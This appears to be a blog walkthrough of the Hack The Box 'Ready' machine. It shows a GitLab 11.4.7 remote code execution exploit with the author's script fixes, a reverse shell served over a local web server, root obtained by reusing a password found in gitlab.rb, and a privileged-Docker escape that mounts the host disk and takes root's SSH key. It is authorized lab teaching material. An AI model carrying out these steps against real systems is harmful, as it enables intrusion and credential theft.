Hack The Box — Ready Walkthrough — GitLab and Docker exploiting

Leandro B.
DevRoot
Published in
10 min readApr 26, 2021

In this article I will be covering a Hack The Box machine which is called “Ready”. The objective is pretty simple, exploit the machine to get the User and Root flag, thus making us have control of the compromised system, like every other Hack The Box machine.

What is Hack The box?
Hack The Box is an online platform allowing you to test your penetration testing skills and exchange ideas and methodologies with other members of similar interests.

You have tons of other things to do besides Capture the flag in HTB but for this article, I will be focusing on the CTF part of it, since the machine that I rooted and exploited is in that category.

Before we continue, I need to mention that all the activities done here are done in a safe, controlled and authorized environment and for that matter, are legal.

Everything done in this article is for education purposes only. I take no responsibility if you use it illegally.

…So, Let’s start!

As for all of my adventures in HTB, I always try to follow a methodology and work as I find more and more about the machine that I am exploiting.
For this machine it wasn’t any different, as always, I started a nmap scan to find open ports, the operative system of the machine and the software and versions of those ports.
As for my distribution, I use Kali Linux to work and do exploiting related subjects in HTB boxes.

For that, I ran the following command:

nmap -sS -v -A 10.10.10.220

The flags definition:

sS is for TCP SYN (Stealth) Scan

v is for a more verbose output

A is to enable OS detection, version detection, script scanning and traceroute.

There is more information in this scan, but they are kinda irrelevant for you to see, we will focus 2 main things here, there are 2 open ports, SSH at port 22 and port 5080(a webserver).

Let’s check the port 5080 on the browser and see what we got!

We have GitLab on this port, let’s try to register and try to enumerate a little bit more and get the version of Gitlab.

We successfully registered

let’s try to get the version now! In GitLab we have an API to check the version, let’s try to use that, and our enumeration should be done since this user has no special permissions or it has no shared repos or whatsoever.

If we go to /api/v4/version we get a Json response with the version!

Now, that we have the SSH version with our nmap, which is 8.2p1 and our Gitlab is at version 11.4.7

Let’s check if there are any exploits for these versions.
I found out the the version 11.4.7 of GitLab has a very interesting exploit that give us a RCE!

You can see the vuln here https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ which is very well explained.
I got the overall idea and I found a Python script in which I had to do some changes because the script wasn’t working.

I will show you what I changed and the errors that I encountered and was faced upon. You can see that in the Github repo the guy has stated some dependencies that we should download to fix the errors, well, didn’t fixed for me so I went my own way.
For starters, I found the python script to exploit this vuln in this Github repo
https://github.com/mohinparamasivam/GitLab-11.4.7-Authenticated-Remote-Code-Execution/blob/main/gitlab_rce.py

First of all, in the script, we will change the gitlab_url = “http://10.129.49.67:5080" to our IP and let the port 5080.
Let’s change the file perms and run chmod 777 gitlab_rce.py

python gitlab_rce.py -U <gitlab-user> -P <gitlab-userPassword> -l <your-machine-IP> -p <ncat-listener-port>

And our listener:

When I run the script it gives me an error:
ImportError: No module named random_words

After trying to download the module that was missing, nothing worked, then I tried a different way.
I went to the code and deleted the random_words import and did my own random word generator.

First we will need to add 2 new imports which are

import random
import string

then remove the “from random_words import RandomWords” and changed the line project_name = r.random_word() to be

letters = string.ascii_lowercase
result_str = ''.join(random.choice(letters) for i in range(4))
project_name = result_str

Let’s try and run it again and it gives me the following error:

Then I proceeded to change all the lines that had BeautifulSoup(html_content,features=”lxml”) to BeautifulSoup(html_content,”html.parser”)

For a final code refactor, let’s change the IP 10.129.49.31 in the code for our own IP, you’ll see it in the requests that are build.

Let’s try to run the script again and…

It is working!
Now, let’s follow the steps as they are really easy.
We now need to start a http.server at port 80 before continuing, so let’s do it with the following command in the same directory where the python script is being executed:
python3 -m http.server 80

It should look something like this

This webserver will work as a middleman between our GitLab website and our computer, to transfer files over one way to the other.

As you can see, my script is running at /home/kali/Desktop and my Webserver is at the same location, it is very important that you do so, because the script will create a shell in which the webserver will proceed to download it and send it and if they aren’t in the same place you will have an error of not finding the shell file

After you have executed the command, go back to the script console, press Y and we will be presented with the following

Press 1 and enter, this will generate our shell that will be sent to get our RCE.
In the same directory you should have a file named shell.py and if you inspect the contents of it, it will have pretty much the average reverse shell code.
As you can see in the image above, we have our shell.py and our webserver got the shell and deployed it to Gitlab.

Now, let’s run the exploit again and instead of pressing 1 we will proceed to press 2 and execute the exploit that we sent to Gitlab.

We did it! We are inside the machine!
Let’s upgrade our shell to a better one with the following commands

 python3 -c “import pty;pty.spawn(‘/bin/bash’)”
export TERM=xterm

We should now have something much much more nicer like this!

If we go to /home/ and see the users in it, which is dude, we find the user flag inside of it!
Great, we cracked the user flag, amazing, let’s go to the second part, which can be a little bit more trickier.

So, to get root…

It is always the same enumeration dance, well, most of the time.
I ran some checks, like the sudo -l in which was a fail cause sudo didn’t exist in this machine.

Then I proceeded to see if there were any cron jobs that could be exploited, I got nothing.
Checked if I could write to the /etc/passwd file, well.. nothing and if I could view or write the /etc/shadow file, in which it failed too

I also checked SUID/SGID executables and it was also a fail since we didn’t had one that could be used as an exploit and to confirm that I used GTFObins for the matter.

After a little bit of enumeration, I went to the very beginning of the file system and I did a ls -la where I found something a little bit odd.

Besides the root_pass that was the first one to caught my attention, not gonna lie(It led to nothing by the way) I saw that there was a .dockerenv file in which, unfortunately, tells us that we are in a Docker Container, we are trapped in a Docker Matrix!

To confirm that, I went to the cgroup and saw how the file looked like to the default process which confirmed me that we were in a docker container.

You can read more about that in this great article
https://tuhrig.de/how-to-know-you-are-inside-a-docker-container/

Well, we need to get out someway. In my enumeration task I saw MANY files with sensitive information like users and passwords but they didn’t served any purpose, I then proceeded to try and find if there was any docker-composer in the system to see if I could learn more about our container.

For that I did the following command

find /* | grep docker-compose > found.txt 

Which gave me the following files

After going to the /opt/backup/docker-compose.yml I saw something VERY PROMISING which was a flag in the container when it was created that made it very very easily to exploit, which was the privileged: true flag

This flag makes it so that we can mount our container to the host system, in which we can access files that we shouldn’t.
You can read more about it in this amazing article since you can do much much more!

When we try to mount and exploit this we get an error, only root can do it.
We are half done with this riddle but we need the other half to be able to do it
If we go to the backup folder in opt where we got our docker-composer we will see more interesting files in which we can explore, I then found out that gitlab.rb and gitlab-secrets.json contained a lot of sensitive information.

I tried to grep as much as possible, such as keywords to passwords and stuff like that, I ran the command grep password gitlab.rb and got me the following information

At this point I have tried out some password for root that had failed and I found this one that, to be honest, didn’t expect that much since it was a SMTP password, but you never know.
I performed su root and tried out the password and oh my god, it worked!

AFTER SO MUCH TIME OF SUFFERING AND CRYING, CRYING AND SUFFERING THE ENUMERATION PAYED OUT!
It isn’t quite done yet, since we are still in the container and the root flag is nowhere to be found inside the container

We should now be able to mount the files in the tmp directory and link them to the host computer!

First of all, let’s run fdisk -l and see which disk will we need to mount.

Okay, so, sda2 looks very promising, since it has 18GB and the operative systems of the hosts tend to be this size.
Let’s try to mount and see what happens. To do so, let’s do the following commands

mkdir -p /tmp/cenas
mount /dev/sda2 /tmp/cenas

And oh my god, it is working!

We now have our root.txt but we still need to go to the host machine for it to be 100% done.
So I went inside he .ssh folder and copied the id_rsa key

Copied the file into my computer’s Desktop as id_rsa and ran ssh -i id_rsa root@10.10.10.220

In which if I do a whoami I am root outside of the container!

Well guys, I hope you guys liked the Walkthrough, as I had a lot of fun exploiting this box!
I learned a lot, from this exploit in Gitlab which IMMEDIATELY made me check my company Gitlab version(just to be sure) and learned a ton about escaping Docker Containers(And also made me check my company containers) and how certain flags in the docker-compose can compromise our system!
I hope you learned a lot from this too and thank you very much for reading guys!

--

--

Leandro B.
DevRoot

PT🇵🇹 Penetration Tester/Ethical Hacker. OSCE3, OSEP, OSED, OSWE, OSCP, CRTP, OSWP, eMAPT and eJPT Certified.